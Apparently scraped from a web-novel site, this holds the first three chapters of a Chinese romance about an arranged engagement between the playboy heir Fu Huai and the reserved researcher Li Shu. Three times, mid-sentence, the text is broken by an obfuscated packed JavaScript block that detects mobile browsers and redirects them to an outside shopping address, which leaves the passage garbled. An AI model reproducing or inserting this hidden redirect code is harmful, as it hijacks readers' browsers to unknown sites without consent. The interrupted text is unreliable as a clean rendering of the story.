《傻了吧?我是来赚钱的!》 1. 第 1 章 酒吧的音乐声震耳欲聋地砸在心脏,混杂着周围的年轻人扯着嗓子的呼和声。 傅淮斜倚在角落最贵的卡座上,垂着脑袋似乎提不起什么情绪,手里的手机却端端正正如上供般摆在桌子的正中央。 突然,他耳中捕捉到一句混在嘈杂中不太真切的喊声,傅淮一惊,下意识回头。 然而——却差点儿和身后穿着清凉,脸上看着足足抹了好几斤粉的年轻男孩撞在一块。 男孩看着像是喝多了,脸上的红晕直直穿过那几斤粉透了出来,而看上去格外迷离的眼神,却精准瞄向了傅淮手腕上那块能抵得上市中心一套房的手表。 确实,角落卡座上的这几个人,不论是坐的位置,还是身上的行头,都明晃晃地在脑门上向大家展示着——老子是有钱人。 再加上傅淮这张极为优越的脸,就算看着不好接近,但也总有人不信邪想上前碰碰运气。 但不巧的是。 傅大少爷今天从进门起就垮着一张脸,此时又再碰上这茬,傅淮当即如躲瘟疫般侧身避开,随后毫不留情地抬眼冷冷一瞥。 傅大少爷——傅家如今唯一的继承人傅淮,别的不说,这点儿威慑力还是有的。 没等傅淮开口喊酒吧老板过来清理现场不干净的东西,男孩就已经白着脸被吓退。 傅淮神色恹恹,倒也没继续追究,只是忽然想到什么,神色略有些紧绷地低头看了一眼自己身上的衣服。 还好,没蹭上刚刚那人脸上如刷墙般一做表情就扑簌簌往下掉的粉。 随后,他又捏起衣角仔细闻了闻,也还好,没有沾上那人身上甜得发腻的香水味。 不然又要被黎书抓住把柄。 这个念头刚一在脑中冒出,傅淮顿时又再一次垮下了脸。 见鬼。 怎么又想到那个黎书了。 “心情不好?” 一旁卡座上的朋友张延转过头,瞄了一眼傅淮脸上不愉的神情,开口问了一句。 不过,张延也非常能理解傅淮此刻的心情。 因为今天,正是傅淮的订婚宴。 ——和一个根本不熟的,不知怎么就被老爷子安排着和他联上了姻的人。 这换了谁都得有情绪。 不过,虽然表示理解,但张延还是转过头去,又问了傅淮一句:“你还不回去吗?” 毕竟,这可是订婚宴刚结束的当晚。 “不回。” 傅淮垂着头,闷声说了一句。 张延也心知肚明,傅淮这是不满意他的联姻对象。 “据说……好像是黎家的人?” 周围的几个朋友前些日子也都听说了些关于傅家联姻的风声,这时插了一句嘴。 “是的,好像叫什么……黎书?应该是黎家的吧。” “只是黎家的旁支而已,据说关系已经很远了。” “那为什么傅老爷子这么看好这人,非要让傅淮和他联姻啊?” 一旁,傅淮的另一个朋友周阅突然开了口。 联姻对于这些大家族里的大少爷们来说,其实已经算是司空见惯的了。 不过,大家更好奇的是——谁不知道傅家家大业大的,就算是黎家本家的人,和傅家联姻也算高攀,更何况黎书只是黎家遥远的旁支。 但也不知道到底发生了什么,据说就这么阴差阳错的,傅家如今的掌权人傅老爷子,硬是给傅淮安排上了这门亲事。 也难怪傅淮会不满。 或许在傅淮的眼里,这个不知从哪儿冒出来的黎书,也和刚刚那个不知从哪儿冒出来,非要往他身上贴的男孩,没有什么本质的区别。 但黎书却比这个男孩有本事得多,又或是不知撞了什么大运,不知怎么,就哄得他家老爷子非要逼着他和那人联姻。 其实,对于联姻这件事,傅淮原本并没有什么太大的看法。 毕竟,这是大家族之间强强联合的基本操作,甚至他父母的婚姻,也是当年两大家族联姻下的产物。 甚至他的一些同辈,比他年龄稍微大一些的,也有不少已经早早联了姻的,但大多都和他们的父母辈差不多,表面上做做样子,私下里各玩各的,基本互不干涉。 如果真是这样,那傅淮也能接受。 但让傅淮怎么也没想到的是——黎书和那些人都不一样。 他的联姻对象黎书,竟然是个占有欲很强的人。 不管是生活方面,还是工作学习上,傅淮都得在他的压迫之下。 简直就是全方位的管制着他。 虽然今天这才订婚,但事实上,在傅老爷子的安排下,黎书早已经和他接触了一段时间,也已经管制了他一段时间了。 原本,傅淮正大手大脚地过着他豪门大少爷日子,突然一夜之间被他家老爷子提溜着和一个陌生人联了姻,过上了处处被人压迫的日子,这估计换了谁都受不了。 就如同今天。 趁着订婚宴结束之时人群混乱,傅淮这才得以偷偷溜出来酒吧和朋友一聚。 平时黎书根本不让。 傅淮垂眼看着酒吧里忽明忽暗的射灯倒印在手机上跳动的光束,在心里估摸着,黎书大概没一会儿就能敏锐发现他不见了,随后便开始对他一番信息轰炸。 傅淮也曾和老爷子抱怨过这事。 可黎书也不知道给老爷子下了什么迷药,老爷子竟公然站在黎书这边,丝毫不管他亲孙子傅淮的死活。 想到这里,傅淮便是一阵气愤。 他周围的朋友不管有没有联姻,都是一副潇洒自在的样子。 凭什么他就要过这种天天被人管的日子? 今天,他傅淮就是要抗争到底了。 就算黎书来找,他也坚决不跟他回去! 他就是要让黎书知道,他傅淮,可不是那么好管的! 很快,随着夜逐渐变深,酒吧里的音乐声听着也似乎更燥了一些。 这么想着,傅淮下意识瞥了一眼被端端正正供在桌子中央的手机。 竟然还没有什么动静。 黎书还没有发现他偷溜出来了吗? 不可能。 按着这些天傅淮对黎书的了解,这人平时看着冷冷淡淡,一副对什么都不感兴趣的样子,但实际极其敏锐,傅淮每次一有什么小动作,都根本逃不过黎书的眼睛。 难道是酒吧太吵了没听见手机响? 傅淮赶紧一伸手摁亮了手机屏幕。 然而,屏幕上空空荡荡的。 只有几条垃圾短信和一些无关紧要的网页推送,并没有往常黎书给他发来的那些催命符一般的信息。 今天这是怎么了? 黎书竟然破天荒的没有管他? 不会是出什么事了吧? 傅淮突然想到,今天毕竟是订婚宴,他就这么直接溜了,黎书这人平时占有欲这么强,应该很喜欢他,而他就这么自己一走了之,黎书发现他不见了,不会躲在家里偷偷哭吧? 这么想着,傅淮赶紧低头又看了一眼手机。 手机上,依旧没有黎书发来任何的信息。 行,不催正好。 哭就哭吧,天天被黎书管着,傅淮他自己还想哭呢! 就这样挺好。 傅淮在心里暗自下决心,以后也不能让黎书再管着他了。 以后黎书要是再管他,就跟他离! “这酒还挺不错的,新品吗?” 一旁的张延晃了晃酒杯,转头对傅淮说了一句。 “啊,什么?” 傅淮偏过头去,心不在焉地回了一句。 “我说这酒……”张延以为酒吧里吵,傅淮没听清,正要提高声音再说一遍。 就在这时,“嗡——”的一声。 被规规矩矩供在桌子正中央的手机猝然震动了起来。 傅淮浑身一震,没再去管一旁的张延。 他下意识双手捧过手机,脸上神情却似是松了一口气。 随即,傅淮转头朝张延看了一眼,状似夸张地叹了一口气,嘴里小声嘀咕着抱怨了一句什么。 果然,祈祷了半天,该来的还是要来。 傅淮端起了桌上的手机。 低头一看,却突然愣住了。 “哟,催命符来了?” 一旁的张延深知傅淮如今水深火热的处境,边打趣边偷偷瞄了一眼傅淮手里的手机屏幕。 却见上面显示着来电人的名字—— 舒许。 竟然不是黎书? 舒许这个名字,他们这一圈人倒也算是熟悉。 原本也是他们这个圈子里一起长大的人,后来去了国外上学,张延他们就也没怎么和他联系了。 发小突然联系,倒也算是正常。 而令张延心惊的原因却是——这个舒许,是原本有望和傅家联姻的人。 张延悄悄抬眼,看了一眼傅淮的神情。 不知为何,不是黎书这个催命符来催他,理应松一口气。 但傅淮的脸色看着,似乎比之前更差了一些。 他没有接起,而是直接摁掉关机。 倒是一旁的周阅却突然发话了:“舒许回国了?” “好像是有听说。”旁边有人应了一句。 大概是此时酒吧里音乐声太大,傅淮没怎么听清他们在说什么,只感觉一下又一下的鼓点,砸在心脏上生出了几分躁意。 深吸了一口气后,傅淮想了想,又再次给手机开了机。 正要转头和张延说什么,就见一旁的张延突然侧头,眼神直直盯向了酒吧侧边的转角。 随后,傅淮就撞见了张延眼底极为惊讶的神情。 “那不是……” 张延伸手一指,愣愣地张了张口。 那不是——傅淮他联姻对象吗?! 张延正要震惊开口。 然而再一抬眼,人突然又不见了。 张延正要脱口而出的话就这么卡在了喉咙中间。 酒吧里人来人往的,再加上灯光又昏暗,大概是看错了吧。 也是。 傅淮的联姻对象黎书,张延虽然不熟,但之前也和傅淮一起见过几次。 在张延的印象中,像黎书这样清冷沉静,天天穿着白大褂泡在实验室里的人,怎么可能会来酒吧这种地方? 搞研究的,冷冷淡淡不怎么说话,静静垂着眼坐在A大研究院的实验室里,远远望去,五官如同被精细雕琢过一般,皮肤有些透,是没怎么见着光的白,看着有些孱弱。 这是张延对黎书仅有的基本印象。 张延偶尔也疑惑过。 也不知道这样的黎书,到底是怎么实施傅淮平日里口口声声说的压迫的? - 酒吧一侧的拐角上去,看着有些孱弱的黎书搬着半人高的厚厚一摞资料,稍一侧身,迅速闪进了隐在角落里的暗室。 酒吧老板老贾亦步亦趋跟在他身后,转身帮他关紧了暗室的房门。 眼看着门正要关上,老贾握着门把的手突然一顿,又悄悄拉开了一条小缝,眯着眼睛往外边偷偷望了一眼。 随即,老贾瞬间瞪大了眼睛:“那不是……傅淮吗?” 虽然和黎书暂时只是合作的关系,也说不上太熟,但老贾作为一个混杂在人群之中耳听八方的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13776622|145744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酒吧老板,也早已经听说了黎书和傅家订婚的事情。 并且,据他所知,订婚宴似乎就在今天。 所以,傅淮他这是……订婚宴当天晚上就耐不住寂寞出来酒吧玩? 这也太不像话了吧! 老贾小心翼翼地抬眼,瞄了一眼对面黎书的脸色。 然而很快,他又想到。 对了,订婚宴的另一位主角黎书,好像也在酒吧。 “好像是吧。”而老贾没想到的是,黎书压根儿没有抬眼,只开口说了一句,“那边的资料也都给我吧。” “哦,来了来了。”老贾忙应道。 也对。 黎书虽然也一样在酒吧,但黎书却不是过来玩的。 他是有正事要干。 没有人知道,“隐士”酒吧表面上的老板是老贾,而背后实际的控制人,则是黎书。 是的。 这个此时就算关紧了暗室的门,外面的“哐哐”声也依旧不断围绕着黎书的脑袋轰炸的酒吧,有着和它本身极其不相符的名字——“隐士”。 据说是老贾重金请了国外有名的塔罗师,根据抽出来的牌起的名字,说是能旺生意。 黎书这个天天坐在实验室里搞科研的人,自然是不信这些神神叨叨的东西的。 不过,也只是一个名字而已。 能让黎书在意的事情本就不多,一个酒吧的名字,对于他来说大概就像订婚宴当晚傅淮溜出来玩,听一耳朵也就过去了,也就随老贾喜欢了。 “隐士”酒吧这个名字,也就这么叫了下来。 虽说名叫“隐士”,但肉眼可见这酒吧里面人多嘴杂,不少人仗着音乐声吵闹以为别人听不见,什么话题都能聊上一嘴。 其中,或许还会夹杂着一些更为隐秘的信息。 这里面,或许会有黎书想要的信息。 黎书整理完成堆的资料刚一抬头,就见老贾突然凑近了他,似乎想要和他说些什么。 见老贾一脸严肃的神情,黎书心里一紧,赶紧上前一步微微俯身。 随后,只见老贾贴在他耳旁,告状似的开口小声说道:“我刚刚看见,有人往傅淮身边凑,一看就别有心思,要不要我帮你赶他走?” 说完,还像是发现了什么重要线索一般得意地扬起眉毛,似乎在等待着黎书的夸奖。 还以为有什么重大发现的黎书:“……” 酒吧里或许会有黎书想要的信息,不过,他的联姻对象身边凑上了些什么人,并不是黎书想要的信息。 “不用。”黎书说完,又无奈地重复了一句,“不用管他。” 说起来,他和傅淮的联姻,确实也算是阴差阳错。 黎书是黎家旁支,虽然姓黎,但和黎家本家的关系已经算是比较远了。 他父母在他很小的时候就过世了,是黎家本家收养了他。 黎家虽然比不上傅家,但也算是有名有姓的大家族,收养大概也只为了名声,和黎书并不亲,也不白养,到了年纪,就得要去联姻。 黎家给黎书找的联姻对象,是赵家的小儿子赵钰。 圈内人都知道,赵钰是个荤素不忌天天乱玩的人,虽说只是联姻,但自家父母也不会愿意自己小孩和这样的人联姻。 而赵家最近的风头确实挺大,黎家的生意,最近确实也出现了点问题。 所以,不是自家小孩的黎书,很自然的就被推到了和赵钰联姻的这个位置上来。 这个时候,傅家老爷子突然找上了门。 傅老爷子和黎书的导师,A大研究院的院长是故交。 两人叙旧时不知怎么的聊到了黎书,黎书和傅淮同岁,都在A大,但黎书从前读书的时候跳过几级,已经读研,而傅淮正好大四即将毕业。 临近毕业,而傅淮却看着依旧没点儿正形,天天在外面鬼混着。 作为傅家唯一的继承人,傅老爷子自然急得不行。 黎书的导师爱惜黎书这个人才,不想让他和赵钰这样的人联姻,而傅老爷子此时急需要一个靠谱的人能管住傅淮。 所以,这两人一拍即合,黎书的联姻对象就这么变成了傅淮。 能攀上大名鼎鼎的傅家,赵家顿时就不够看了,黎家自然也连连点头同意。 傅淮虽然也爱玩,但他和赵钰不一样。 他只是跟着一大群狐朋狗友玩个赛车什么的,在私生活方面并没有什么负面传闻。 并且,傅老爷子开出的条件也相当大方,只是协议结婚,管住傅淮,用三年的时间让傅淮收心,并逐渐能担起傅家的重任。 三年时间一到,黎书就能拿着傅老爷子给的大笔报酬潇洒走人了。 想起被导师叫去那日第一次见到傅淮,黎书觉得,想要管住这人,确实有些困难。 但怎么也好过赵钰。 对于救他与水火并且十分慷慨大方的傅老爷子,黎书是心怀感激的。 所以,对于傅淮偶尔的不配合和蹬鼻子上脸,黎书也能十分平静地接受和包容。 就如订婚宴这天,傅淮溜出来酒吧玩,那就让他好好放松一下吧。 毕竟,以后可能就没什么机会了。 正好黎书现在有事,并不打算管他。 “你就让他在这里这么嗨一晚上?”对于黎书的无动于衷,老贾表示十分震惊。 黎书朝着门缝处瞥了一眼,很快收回目光。 “那就给他们那桌多开点儿好酒。” 说着,黎书弯了一下嘴角,隐在昏暗灯光下清冷漆黑的眼里却看不出什么笑意:“一桌有钱没处花的大爷,这次酒吧活动的开销挺大,正好从他们那儿回一点本。” 2. 第 2 章 夜晚的傅家别墅黑沉沉的一片,只有门前小花园的地上亮着一片灯带。 “啪”的一声,黎书抬手,按亮了门前的小灯。 沉寂的别墅楼被灯光照出了隐隐的轮廓。 这里是傅老爷子专门为他们两人准备的新房,晚上家里的阿姨已经回去了,只有他们两个人住。 趁着傅淮从酒吧回来之前,黎书提前回到了家。 他低着头快速走进别墅大门,一路走到了侧边的书房门口。 书房,是傅淮打死也不肯进来的地方。 就算是黎书按着傅老爷子的要求,逼着傅淮必须看完某些书籍和资料,傅淮也会磨磨蹭蹭把它们拿到别处去看,要么客厅,要么游戏房,甚至跑去卧室躺在床上半眯着眼睛看,都不会迈进书房一步。 黎书快步走进书房,又转身悄然关上房门。 “咔哒”一声,他反锁了门。 也不知道是傅淮对看书学习过敏还是怎么的,坚决不靠近书房一步,所以,在这个别墅里,书房是完完全全属于黎书的地方。 也是最安全的地方。 黎书偏头瞥了一眼上了锁的房门,把从酒吧拿来的资料大致翻了翻,又弯腰从柜子深处抽出几张纸来。 似乎有什么不太对。 黎书低下头,正要仔细比对一番。 “叮咚”——! 门铃响起的第一秒,黎书迅速回神。 他一手迅速扫过桌面,一手“唰”一下拉开柜门,把那一小叠资料全都扫进柜中,“咔哒”一下轻巧上了锁,又往柜子上面压了几本书。 “啪”的一声,书房的灯很快被拍灭。 黎书一边往外走,一边行云流水地脱掉外衣,里面是一件棉质的睡衣,他伸手揉了两下把衣服揉皱,惺忪着眼前去开门。 应该是傅淮从酒吧嗨完回来了。 才刚把门打开一半,“哐当”一声,一左一右的张延和周阅没能扶住喝多了的傅淮,险些让他直直撞在了大门上面。 黎书抬了下眼。 张延和周阅,黎书之前见过几次,是傅淮平时一起吃喝玩乐的狐朋狗友,傅淮今天晚上,大概也是和他们一起在酒吧喝的酒。 “我来吧。” 看这俩人扶着傅淮走得东倒西歪的,黎书实在看不过眼,抬手把人接了过去。 “你,这……” 一旁的张延抬了看去,别墅里只有客厅的一盏落地灯亮着,灯光下黎书的脸色依旧和印象中那样苍白得有些透明,微着垂眸,灯光下睫毛长长倒印在脸上。 “你可以吗?” 张延忍不住脱口而出道。 喝醉的人一向都格外难扶,刚刚从车里出来就那么几步路,他和周阅两个人扶着都有些费劲,黎书这看着文文弱弱的,一个人能扶得动这么一个大高个的傅淮吗? 然而,还没等张延这话说出口,黎书已经一抬手接过傅淮,摇晃着把他搬到了一旁的沙发上面,自己也顺势在一旁坐下,微微喘了口气。 张延这才发现,黎书身上宽松的睡衣看着似乎有些皱了,像是在沙发上等傅淮回家等睡着了。 张延一时有些不太敢看他。 “嗡”的一声,张延骤然回神。 是傅淮口袋里的手机突然震动起来。 这么一震动,手机顺势从在沙发上瘫得东倒西歪的傅淮口袋里滑落,“啪”的一声掉在了沙发脚下。 坐在沙发上的黎书顺手弯腰捡起。 也顺手看到了傅淮手机里收到的年轻男生的照片,和下面又发过来的一句话:“什么时候一起吃个饭啊,想念你从前带我去吃的那家店的味道了。” 上面显示,发送人是舒许。 空气安静了一秒钟。 一旁的张延和周阅霎时顿住。 周阅张了张口,似是想要说些什么,但很快被张延拉住。 两人抬眼,朝着沙发上的黎书看了过去。 沙发上的黎书脸上看不出什么神情。 他一伸手把傅淮刚刚掉落的手机随手放在面前的茶几上,随后抬头,看了看面前突然没了声的张延周阅两人,开口说了一句:“我做了醒酒汤,你们要不要一起喝点?” 声音清冷平静,听不出半点情绪。 周阅顿时惊讶地睁大了眼,悄悄转头和一旁的张延对视。 什么情况? 他竟然一点都不在意的吗? 这几人从小在一个圈内长大,不过,周阅和舒许要更加熟一些。 周阅本来听说,舒许大概是要和傅家联姻的,不过后来舒许出国读书,又不知怎么,傅淮就被傅老爷子安排着和一个没听说过名字的黎书联了姻。 周阅也不知道这个黎书到底是怎么上位的。 但按着他从小在大家族里长大听说过的事迹来讲,这样的人,应该会很在意这类事情的,但黎书怎么就看着丝毫不在意呢? 难道是装的吗?欲擒故纵? 还是因为订婚宴当晚傅淮就出去酒吧玩所以生气了? 傅淮之前总说这人平时老管他,听着很凶的样子,不会马上就要发作了吧? 没等周阅想出个所以然来,黎书已经从厨房里端出一碗醒酒来。 “你们两个要不也……” 黎书这话还没说完,张延忙摆手说道:“不用不用,谢谢嫂子。” “天太晚了,我们就先回去了。” 张延说着,忙一伸手拉着正在发愣的周阅走出了大门。 还沉浸在脑中幻想的周阅一回神就听见张延喊的那声“嫂子”,心情一时有些复杂道:“你这就叫上嫂子了?” “但他好像确实还挺喜欢淮哥的?”张延其实也糊涂着。 “也是,这都没生气,竟然还特地准备了醒酒汤。”周阅愣愣地点头说道。 - 傅家别墅内。 便利店打包来的醒酒汤还冒着些热气。 根据黎书大致的判断,以目前傅淮的醉酒程度来说,喝完这碗醒酒汤大概能直接睡到明天天亮。 明天一早,就有阿姨过来收拾残局。 这样,黎书就能度过一个十分安静不被打扰的夜晚。 黎书端起装着醒酒汤的瓷碗,放在已经瘫在沙发上不省人事的傅淮嘴边:“喝了。” 半睡半醒间的傅淮也不知道听没听懂这句话,他突然坐直,猛然间开口说道:“对了,手机!” “我手机呢? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13776623|145744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 似是半眯着眼睛虚虚看到了茶几上手机的影子,半瘫在沙发上却依旧不老实的傅淮伸手就要去够。 这么突然一个起身,一不小心就把黎书端到他眼前的醒酒汤给打翻在了地上。 “啪”的一声响,瓷片碎了一地。 这是两人订婚后傅老爷子给他们送过来的一些瓷器藏品,据说每一件都能在拍卖会上叫出好价。 黎书眯着眼睛看了满是狼藉的地面一眼,又抬眼看了看沙发上醉得不省人事的傅淮。 也不知道他突然这么急急忙忙的要手机干什么? 手机上给他发信息的人很重要? 不过,黎书也没空去想这些。 原本还想着傅淮喝完醒酒汤能安安静静地睡一晚上,明天一早阿姨就会过来,到时候不管他再发酒疯还是干什么,都会有经验丰富的阿姨来处理,用不着黎书动手。 黎书站在一地的碎瓷片和汤汤水水前默默叹了一口气。 沉默了半分钟后,黎书伸手拿过自己的手机,对着一地的碎瓷片拍了张照。 画面中,还有一个瘫在沙发上醉得不省人事的傅淮不小心被带了进去。 拍完后,黎书点开通讯录,把照片给傅老爷子发了过去,语气抱歉地说道:“非常抱歉,不小心把您特地送过来的碗给打碎了。” 很快,对面的傅老爷子就回复了信息:“这小子又犯浑了吧,真是辛苦你了。” “人没事就行,过两天我再送一套过来。” 下面,还有一笔十分大额的转账。 黎书这才终于露出了满意的笑脸。 收了钱,黎书没把这一大片狼藉留给明天的阿姨,他好脾气地收拾了一地的瓷片,又大发慈悲地把傅淮一路拖着扔到了卧室的床上。 把被子往傅淮身上一扔,黎书走出卧室关上门,隔绝了傅淮的一身酒气,这才终于长舒了一口气。 紧接着,他又再次走进书房,轻声锁上了门。 - 傅淮是被热醒的。 他勉强睁开了还有些酸胀的眼睛,感觉脑袋似乎隐隐作痛。 后背微微有点冒汗,他下意识掀开被子,但突然又觉得有些不太对劲。 记忆里是昨天晚上嘈杂的酒吧,还有久久没有响起的手机。 不对,那他现在在哪里?! 傅淮一个激灵,彻底睁开了眼睛。 他这才发现,他此时正躺在自家的床上,身上严严实实地压着一大床被子。 难怪会这么热。 黎书端着碗汤开门进去的时候,傅淮正要掀开被子下床。 听见门旁的动静,傅淮刚一转头,就看见黎书进出自如地打开了他卧室的房门。 刚下床下到一半的傅淮下意识一把扯住被子盖住了身体。 什么情况? 黎书为什么可以在他的房间里进出自如? 黎书这么有占有欲的一个人,昨天晚上他喝多了,是不是都已经被黎书给看光了? 不可以! 之前都还从来没有人看过他呢! 对了,他不会已经失身了吧? 傅淮像是被一个炸雷劈在了原地,脑中不断这么叫嚣着。 3. 第 3 章 这么想着,傅淮下意识伸手往下一探。 这会儿,他才感觉身上紧绷着不太舒服。 低头一看,还是昨天晚上去酒吧的那身衣服,正原原本本地穿在他的身上。 睡觉的时候无意识的翻身,衣服在身上错位缠住,就连一颗扣子都没有开。 黎书根本没碰他? 傅淮有些怔愣。 这么好的机会,这都没有下手吗? 他什么意思? 难道是,嫌弃自己酒味大? 傅淮忙低头闻了一下。 昨天晚上黎书直接把傅淮扔在了床上,根本就没帮他收拾,傅淮此时还穿着昨天去酒吧的衣服,凑近一闻,上面一股子酒味,还带着些酒吧特有的不太好闻的烟味。 黎书这个常年泡实验室的有洁癖的人,可能确实是因为这个原因没有碰他。 傅淮点了点头,讪讪地掀开被子下床,准备先去洗个澡再说。 黎书没发现他短短时间内如此丰富的内心活动,只伸手把阿姨刚煲好的汤递给了他。 “先喝了再去。” 昨天从酒吧回来醉醺醺的直接睡过去了,黎书就猜到傅淮醒了肯定先要去洗澡。 昨晚为了溜去酒吧没怎么吃饭,在酒吧里也直接就喝上了,一晚上什么也没吃,直接去洗澡说不准就低血糖晕在里面了。 真要晕了的话,就算阿姨来了也不好直接去浴室扶他,到时候还得是黎书遭殃。 所以,防患于未然,黎书把阿姨做好的汤端一碗进去先让他垫垫肚子。 “哦。” 大概是习惯于黎书的淫威,傅淮也没问为什么,伸手就要接过汤碗。 黎书昨天晚上肯定是因为酒味才没有碰他。 傅淮默默的想。 这不,才刚一大早,就给他送汤过来了。 就一晚上没见而已。 正要端过汤碗的刹那,傅淮突然感觉到了什么不一样的触感。 不是寻常碗壁那样坚硬的质感。 是细白修长的骨节,又柔软带着些温度。 傅淮像是触电了一般突然撒开了手。 他刚刚碰到的,是黎书的手指! “烫吗?”见傅淮突然缩手,黎书疑惑低头,朝着碗壁瞥了一眼。 “不烫啊。”他不也这么直接端着。 黎书说着,又往前递了递:“赶紧喝了。” “啊,哦。” 傅淮不自然地撇开了视线。 没想到黎书看着这么冷冰冰的人,指尖竟然是暖的。 也不知道是不是被碗里的汤焐热的。 不对。 他刚刚是故意的吧? 傅淮转过头,又偷偷看了黎书一眼。 黎书穿着棉质的宽松睡衣,低头的时候前襟微微垂下,隐在衣领下的脖颈和锁骨白得晃眼。 傅淮又像是被烫到一般惊跳着移开了视线。 “喝完了吗?” 阿姨早上要干的事情繁多,黎书正准备帮忙把喝完的汤碗拿出去。 刚一转头,却看见傅淮眼睛盯着窗外,耳根处似乎有些微微泛红。 “你发烧了?” 黎书问了一句。 “没有!”傅淮当即脱口而出地否认。 “窗户不通风,我这是热的。”他硬邦邦地说道。 “是吗?” 家里有新风,平时确实也不怎么开窗。 但现在酒味有点重,是也得散散味了,黎书走到一旁打开了窗。 傅淮一口把汤喝了个见底,突然感觉今天黎书的心情似乎不错,态度温和,竟然也没提起昨天的事。 昨天傅老爷子的那一笔大额转账,还有老贾提供的资料有了新进展,黎书此时的心情确实还算不错。 见傅淮听话把汤喝了,他甚至还微微弯了一下嘴角。 开了窗后,风刮进来,窗帘开始随风抖动。 黎书站在窗边,明明暗暗的光投映在他的脸上,他目光虚虚地往外看着,不知在看什么。 傅淮不知怎么突然感觉,站在窗边的黎书被照进来的阳光映得虚虚实实。 像是不知什么时候出现在此处,又随时会消失一般。 傅淮这个语文根本没及过格的人,脑中突然冒出了一个词,好像叫什么怅然若失。 不对啊,他有什么好惆怅的啊? 黎书要是真消失了,那不是一件大好事吗? 没有人再来管他了! 不过,黎书要像昨天那样不管他的话,日子还是可以过下去的。 毕竟,黎书他这么喜欢自己,一大早还特意给自己端了汤进来。 傅淮这么想着。 昨天晚上这么重要的日子,他竟然偷偷跑去了酒吧。 确实是有点儿过分了。 也不知道黎书躲在家里偷偷哭了没有。 但随后傅淮又猛然想起,在这之前,他已经有小半个月被黎书摁着在家里看书学习,他实在受不了了才偷偷溜出去的。 如果黎书以后还这么管他的话,那就还是得离,不能心软! 傅淮这么对自己说道。 - 想当初,傅淮一开始就是不同意的。 傅淮第一次见到黎书,是在A大研究院院长的办公室里。 那时的傅淮并不认识黎书,但黎书这个名字,傅淮不久前才刚刚听说过。 和赵钰联姻的人。 赵钰这个人什么样子圈内人都了解,没想到真有人会愿意和他联姻。 也不知道是不了解情况,还是被人诓了。 但这些都不重要。 重要的是,傅淮才刚大四毕业,根本不想要和谁联姻。 傅淮一路听着老爷子一直叨叨,说他这样不行,现在大四快要毕业了,也该朝着正经路子上走一走了。 也对,玩一些赛车飞机,这些都叫做不正经。 其实他早就知道了,在老爷子眼中,只有按着他的安排逐渐朝着继承人的方向走,才叫正经路子。 不知道他爸从小是不是也这么被逼的,所以才会在傅淮刚出生不久,就和傅淮他那同样不靠谱的妈妈一起逃去国外不学无术地浪荡去了。 老爷子见傅淮他爸实在扶不起来,也没再去管他。 傅家人丁不兴,傅老爷子除了傅淮的爸爸之外,还有一个小女儿,眼睁睁看着哥哥从小被逼,或许为了放松,突然爱上了极限运动,每天在外面玩命。 老爷子电话一打过去,她就说正在大楼外往下跳,让老爷子别说话,一说一激动手一松就要掉下去,听得老爷子心惊胆战差点儿犯心脏病,再也不敢给她打电话了。 傅淮他父母在他小时候就跑去了国外,是老爷子亲手把他带大。 所幸他这个孙子的成绩不错,于是老爷子对他寄予厚望。但好景不长,最后发现也是个不靠谱的。 但老爷子年纪逐渐大了,傅家也没别人了,最后只能交给傅淮。 坐在院长办公室里,傅淮垂着脑袋想。 不管是谁,他今天肯定都要坚决抵抗到底。 几分钟后,办公室的门被打开,院长带着个人走了进来。 傅淮抬头看去。 那人长得挺高,的背影看着有些清瘦,干净的白衬衫,低头的时候,露出一截细白的脖颈。 就这? “叫学长。”老爷子转向傅淮开了口。 说话的瞬间,那人转过了头来。 傅淮抬眼一瞥。 随后,又抬头看了一眼。 “什么学长,他看着还没我大!”傅淮顿时开口道。 “他和你一样大,但已经在读研了。”院长开口解释了一句。 “对。” 老爷子看了黎书一眼,满意地点了点头。 “我不同意!” 但老爷子根本没理会傅淮的叫嚣,乐呵呵地和院长一起走出了办公室。 只剩他们两人在里面大眼瞪着小眼。 傅淮“哗”一下起身,视线紧盯住了黎书:“你是不是看上我了?” “还是看上我的钱了?” 黎书表情淡淡:“这不重要。” “这是你爷爷的安排。”他说道。 “你可以拒绝啊。”傅淮道。 “你也可以拒绝。”黎书突然笑了,“但你不是也拒绝不了吗?” “所以说,你也没能拒绝?”傅淮怀疑的目光在黎书的脸上扫过。 但似乎又突然意识到了什么,眉头微微皱起:“你要拒绝?” “你看不上我?” 黎书不是本来要和赵钰联姻吗?他还能比不上那个赵钰? 赵钰这么垃圾的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13776624|145744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,黎书会和他联姻肯定是因为钱,这么说的话,傅家不比赵家有钱得多? 还是说,难道他在装矜持? 傅淮抬眼望去。 对面的黎书似是匆匆赶来,此时正拿着一小瓶矿泉水在一旁喝着。 